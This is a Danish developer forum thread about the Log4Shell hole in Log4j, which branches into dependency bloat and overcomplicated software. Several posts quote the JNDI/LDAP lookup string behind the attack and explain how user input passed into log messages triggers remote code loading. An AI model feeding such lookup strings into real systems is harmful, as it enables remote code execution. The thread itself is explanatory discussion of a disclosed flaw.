mboost-dp1
Rigtig grimt sikkerheds problem
Jeg fortryder ikke at jeg skrev mit eget skræddersyede logging system til vores platform, det er vitterlig ikke ret meget programmering at lave den slags. Vores custom logger er ca. 300 linjer python kode og understøtter rate limiting, event logging og state logging (vedholdende notices, errors og warnings), filtrering baseret på severity og source, filtrering med timeout så man kan lade tunge loggingopgaver stoppe automatisk efter f.eks en time. Altsammen skræddersyet til vores behov.
Det havde taget lige så lang tid, hvis ikke længere at gennemsøge alle de tilgængelige logging systemer derude, beslutte hvilken der passer bedst, sætte sig ind i systemet, konfigurere det, teste det osv. Og så ender man alligevel med et gigantisk sikkerhedshul a'la #1. Jeg har nok et mildt tilfælde af "not invented here" syndrome, men det viser sig igen og igen ikke at være en dårlig ting.
Det havde taget lige så lang tid, hvis ikke længere at gennemsøge alle de tilgængelige logging systemer derude, beslutte hvilken der passer bedst, sætte sig ind i systemet, konfigurere det, teste det osv. Og så ender man alligevel med et gigantisk sikkerhedshul a'la #1. Jeg har nok et mildt tilfælde af "not invented here" syndrome, men det viser sig igen og igen ikke at være en dårlig ting.
#3 tja, det er en balancegang. Jeg hælder i jeg-laver-det-helst-selv retningen. Muligvis lidt for meget.
Men jeg vil mene at den gennemsnitlige udvikler i dag, der bruger et højniveausprog hælder for meget i den anden retning. Det er ikke hensigtsmæssigt at hive tonsvis af dependencies ind i et projekt, hvis det kan undgås med overskuelig manuel kodning. Afhængig af opgaven selvfølgelig, der er mange betragtninger. Men eksterne dependencies er reelt er en masse black box kode man ikke har reviewet som kan være buggy og gøre noget man ikke regner med fordi det er for komplekst og man ikke har sat sig 100% ind i funktionaliteten, osv.
Men jeg vil mene at den gennemsnitlige udvikler i dag, der bruger et højniveausprog hælder for meget i den anden retning. Det er ikke hensigtsmæssigt at hive tonsvis af dependencies ind i et projekt, hvis det kan undgås med overskuelig manuel kodning. Afhængig af opgaven selvfølgelig, der er mange betragtninger. Men eksterne dependencies er reelt er en masse black box kode man ikke har reviewet som kan være buggy og gøre noget man ikke regner med fordi det er for komplekst og man ikke har sat sig 100% ind i funktionaliteten, osv.
#5
Det er lidt urealistisk lol. Og sprog som C/C++ er faktisk værre til at hive ind dependencies fordi deres standard library er praktisk talt tomt.
Eller mere "moderne" sprog som Ruby der heller ikke rigtig kan noget som helst (Jeg hader Nokogiri som pesten)
Men hvis du vil manipulere et billede i C++, så importere du jo nok ImageMagick frem for at skrive dit eget bibliotek. Eller hvis du vil parse XML, JSON, etc.
Og Python er ikke nogen undtagelsen, der er jo en grund til at Pip er blevet stort.
Det er lidt urealistisk lol. Og sprog som C/C++ er faktisk værre til at hive ind dependencies fordi deres standard library er praktisk talt tomt.
Eller mere "moderne" sprog som Ruby der heller ikke rigtig kan noget som helst (Jeg hader Nokogiri som pesten)
Men hvis du vil manipulere et billede i C++, så importere du jo nok ImageMagick frem for at skrive dit eget bibliotek. Eller hvis du vil parse XML, JSON, etc.
Og Python er ikke nogen undtagelsen, der er jo en grund til at Pip er blevet stort.
Og tag bare et meget lille C bibliotek som libgit2.
deps:
- chromium-zlib
- http-parser
- ntlmclient
- pcre
- winhttp
- zlib
deps:
- chromium-zlib
- http-parser
- ntlmclient
- pcre
- winhttp
- zlib
#9
npm er ikke så slem hvis man ignorer "standard" bibliotekerne. JavaScript har jo ikke som sådan et standard library (det har altid afhænget af hvilen platform/browser man skrev til)
npm har en masse af deres egne dependencies som man typisk altid ender op med.
Og så er der også en del biblioteker som er splittet i flere dependencies (noget som er upraktisk i C/C++ pga. linking), hvilket gør listen ret lang.
https://github.com/clausjoergensen/jsIRC/blob/mast... er ret lang men den faktiske liste af production dependencies er ret kort, 2 stks. https://github.com/clausjoergensen/jsIRC/blob/mast...
(devDependencies er lokalt stuff til testing, linting, etc., så de tæller ikke)
npm er ikke så slem hvis man ignorer "standard" bibliotekerne. JavaScript har jo ikke som sådan et standard library (det har altid afhænget af hvilen platform/browser man skrev til)
npm har en masse af deres egne dependencies som man typisk altid ender op med.
Og så er der også en del biblioteker som er splittet i flere dependencies (noget som er upraktisk i C/C++ pga. linking), hvilket gør listen ret lang.
https://github.com/clausjoergensen/jsIRC/blob/mast... er ret lang men den faktiske liste af production dependencies er ret kort, 2 stks. https://github.com/clausjoergensen/jsIRC/blob/mast...
(devDependencies er lokalt stuff til testing, linting, etc., så de tæller ikke)
Jeg ved ikke ret meget om big enterprise java verdenen, så hvem kan forklare mig hvordan en logging service kan have brug for at understøtte LDAP og JNDI lookups...?
Det lugter langt væk af creeping featuritis.
Wikipedia-artiklen https://en.wikipedia.org/wiki/Log4Shell kommer med noget forklaring. Logging systemet understøtter diverse string substitutions, a'la ${java:version}, og "smarte" muligheder for at køre arbitrær kode med ${jndi:ldap://example.com/file}
Det var da den mest sindsyge idé jeg længe har set. Hvorfor implementere den slags i et _logging_ system? Det bør da være op til klientprogrammet at stykke logbeskeden sammen FØR den sendes til logservicen? Jeg er dybt forundret.
Det lugter langt væk af creeping featuritis.
Wikipedia-artiklen https://en.wikipedia.org/wiki/Log4Shell kommer med noget forklaring. Logging systemet understøtter diverse string substitutions, a'la ${java:version}, og "smarte" muligheder for at køre arbitrær kode med ${jndi:ldap://example.com/file}
Det var da den mest sindsyge idé jeg længe har set. Hvorfor implementere den slags i et _logging_ system? Det bør da være op til klientprogrammet at stykke logbeskeden sammen FØR den sendes til logservicen? Jeg er dybt forundret.
Det giver vel meget mening hvis du vil logge til en "remote disk" eller lign. hvilket jo typisk tilgåes via. LDAPlarsp (11) skrev:Jeg ved ikke ret meget om big enterprise java verdenen, så hvem kan forklare mig hvordan en logging service kan have brug for at understøtte LDAP og JNDI lookups...?
(Men det er åbenbart ikke det hvad det bruges til)
Claus Jørgensen (12) skrev:Det giver vel meget mening hvis du vil logge til en "remote disk" eller lign. hvilket jo typisk tilgåes via. LDAPlarsp (11) skrev:Jeg ved ikke ret meget om big enterprise java verdenen, så hvem kan forklare mig hvordan en logging service kan have brug for at understøtte LDAP og JNDI lookups...?
(Men det er åbenbart ikke det hvad det bruges til)
Tænker du på WebDAV?
LDAP er directory f.eks. Windows Active Directory.
#11
Der er helt klart at features er gået totalt amok.
Men jeg kan prøve at forklare logikken.
Log4j 2.x er tiltænkt at logge som:
logger.info("User did input: {}", userInput);
Det anses generelt som god praksis at eksternalisere strenge så man kan ændre dem uden at skulle lave en ny software release.
Nogen synes at LDAP er bedre end config filer. Jeg er ikke enig, men de findes.
Så:
logger.info("${jndi:ldap://minkonfigserver/userdidinput}: {}", userInput);
giver en vis mening.
Men man laver en katastrofal design fejl og har glemt at tænke på noget.
Den katastrofalæe design fejl er at man vælger ikke at hente strenge men at hente serialiserede Java onjekter. Det er naturlighvis mere generelt at hente objekter og strenge kan nemt sendes som objekt. Men deserialisering er kendt som en meget farlig process hvis man ikke kan stole på input - deserialisering kan udføre kode når objektet skal genskabes.
Og det man har glemt at tænke på er at næsten ingen bruger:
logger.info("User did input: {}", userInput);
Næsten alle bruger log4j 1.x stil:
logger.info("User did input: " + userInput);
Og så bliver evt. ${} i userInput også udført.
Der er helt klart at features er gået totalt amok.
Men jeg kan prøve at forklare logikken.
Log4j 2.x er tiltænkt at logge som:
logger.info("User did input: {}", userInput);
Det anses generelt som god praksis at eksternalisere strenge så man kan ændre dem uden at skulle lave en ny software release.
Nogen synes at LDAP er bedre end config filer. Jeg er ikke enig, men de findes.
Så:
logger.info("${jndi:ldap://minkonfigserver/userdidinput}: {}", userInput);
giver en vis mening.
Men man laver en katastrofal design fejl og har glemt at tænke på noget.
Den katastrofalæe design fejl er at man vælger ikke at hente strenge men at hente serialiserede Java onjekter. Det er naturlighvis mere generelt at hente objekter og strenge kan nemt sendes som objekt. Men deserialisering er kendt som en meget farlig process hvis man ikke kan stole på input - deserialisering kan udføre kode når objektet skal genskabes.
Og det man har glemt at tænke på er at næsten ingen bruger:
logger.info("User did input: {}", userInput);
Næsten alle bruger log4j 1.x stil:
logger.info("User did input: " + userInput);
Og så bliver evt. ${} i userInput også udført.
EN af de grimme detaljer er at den her fejl rammer meget bredt:
* Java platform software
* interne Java business applikationer
* hardware med embedded software som bruger Java
Det sidste gør at selv firmaer som ikke har 1 linie Java kørende på deres server kan have problemer.
En liste:
https://www.continuitysoftware.com/blog/centralize...
* Java platform software
* interne Java business applikationer
* hardware med embedded software som bruger Java
Det sidste gør at selv firmaer som ikke har 1 linie Java kørende på deres server kan have problemer.
En liste:
https://www.continuitysoftware.com/blog/centralize...
#17
Jeg synes heller ikke at behovet er for det er overvældende, men hvis vi siger at der er 1 million brugere af log4j så skal der nok være nogle lidt mere specielle krav ind i mellem.
Nogen har brug for at levere log fil i lokalt sprog (Fransk, Tysk eller noget andet).
Nogen bruger SmtpAppender og ønsker at customize det der emailes.
Jeg synes heller ikke at behovet er for det er overvældende, men hvis vi siger at der er 1 million brugere af log4j så skal der nok være nogle lidt mere specielle krav ind i mellem.
Nogen har brug for at levere log fil i lokalt sprog (Fransk, Tysk eller noget andet).
Nogen bruger SmtpAppender og ønsker at customize det der emailes.
#overkompliceret
Men jeg har et spritnyt eksempel på noget overkompliceret software.
Jeg skal installere en GUI til noget database administarion. Den fylder 1 GB. Det er meget for en GUI man skal bruge til at oprette lidt databaser og tabeller med. Men OK. Men kommer den med en installer? Nej. Den kommer med en installer til en install manager som kan installere den. Så først installerer man en install manager og så bruger man den til at installeree GUI med. Og install manager fylder 400 MB.
WTF
Men jeg har et spritnyt eksempel på noget overkompliceret software.
Jeg skal installere en GUI til noget database administarion. Den fylder 1 GB. Det er meget for en GUI man skal bruge til at oprette lidt databaser og tabeller med. Men OK. Men kommer den med en installer? Nej. Den kommer med en installer til en install manager som kan installere den. Så først installerer man en install manager og så bruger man den til at installeree GUI med. Og install manager fylder 400 MB.
WTF
#20 Held og lykke ...
Jeg må sige at et par tekst konfigurationsfiler og kommandolinje interfaces, selvom det virker gammeldags, altså er noget mere medgørligt end "brugernemme" GUIer. Man kan scripte setup processen og versionsstyre konfigurationsfilerne når det er tekstbaseret.
Kan man overhovedet scripte konfiguration af services i Windowsverdenen? Er musearm en nødvendig arbejdsskade når man sætter Windowsbaserede servere op?
Jeg må sige at et par tekst konfigurationsfiler og kommandolinje interfaces, selvom det virker gammeldags, altså er noget mere medgørligt end "brugernemme" GUIer. Man kan scripte setup processen og versionsstyre konfigurationsfilerne når det er tekstbaseret.
Kan man overhovedet scripte konfiguration af services i Windowsverdenen? Er musearm en nødvendig arbejdsskade når man sætter Windowsbaserede servere op?
larsp (21) skrev:
Jeg må sige at et par tekst konfigurationsfiler og kommandolinje interfaces, selvom det virker gammeldags, altså er noget mere medgørligt end "brugernemme" GUIer. Man kan scripte setup processen og versionsstyre konfigurationsfilerne når det er tekstbaseret.
Jeg er rimelig til SQL92 og DML generelt, men ikke til database specifik DDL.
Jeg skulle have oprettet 2 tabeller med samme navn i samme database ved at putte dem i forskellige schemaer.
Jeg sikker på at en DBA for den database nemt kune gøre det med SQL. Men ikke mig. Så en GUI hvor man kan klikke ned til schemas, højreklikke og vælge ny og så tabeller, højreklik, vælge ny og angive det oprettede schema.
:-)
larsp (21) skrev:
Kan man overhovedet scripte konfiguration af services i Windowsverdenen? Er musearm en nødvendig arbejdsskade når man sætter Windowsbaserede servere op?
Det er mit indtryk at en rigtig Windows admin kan alt med PS.
Og både konfig-filer og registry entries kan jo ændres fra et script.
Men det kan godt være at der er et par milliarder Windows brugere, men der er meget langt mellem gode Windows admins!
#24
Med det timeforbrug virker det ret sandsynligt at de ikke har styr på deres ting.
Men problemet er mere tricky end bare:
application -> dependencies
Det er også:
platform software (app server, database server, cache server, message queue server etc.) -> dependencies
Og det kan man ikke bare selv opdatere (hvis man vil beholde sin support) - man skal have en opdatering som inkluderer den opdaterede dependency.
Og der er den rigtigt grimme:
hardware med embedded software -> dependencies
Ens tæskedyre SAN med et web interface - er det web interface Java baseret? hvis ja bruger det log4j? hvis ja hvordan opdaterer man det?
Med det timeforbrug virker det ret sandsynligt at de ikke har styr på deres ting.
Men problemet er mere tricky end bare:
application -> dependencies
Det er også:
platform software (app server, database server, cache server, message queue server etc.) -> dependencies
Og det kan man ikke bare selv opdatere (hvis man vil beholde sin support) - man skal have en opdatering som inkluderer den opdaterede dependency.
Og der er den rigtigt grimme:
hardware med embedded software -> dependencies
Ens tæskedyre SAN med et web interface - er det web interface Java baseret? hvis ja bruger det log4j? hvis ja hvordan opdaterer man det?
Opret dig som bruger i dag
Det er gratis, og du binder dig ikke til noget.
Når du er oprettet som bruger, får du adgang til en lang række af sidens andre muligheder, såsom at udforme siden efter eget ønske og deltage i diskussionerne.
- Forside
- ⟨
- Forum
- ⟨
- Tagwall
Gå til bund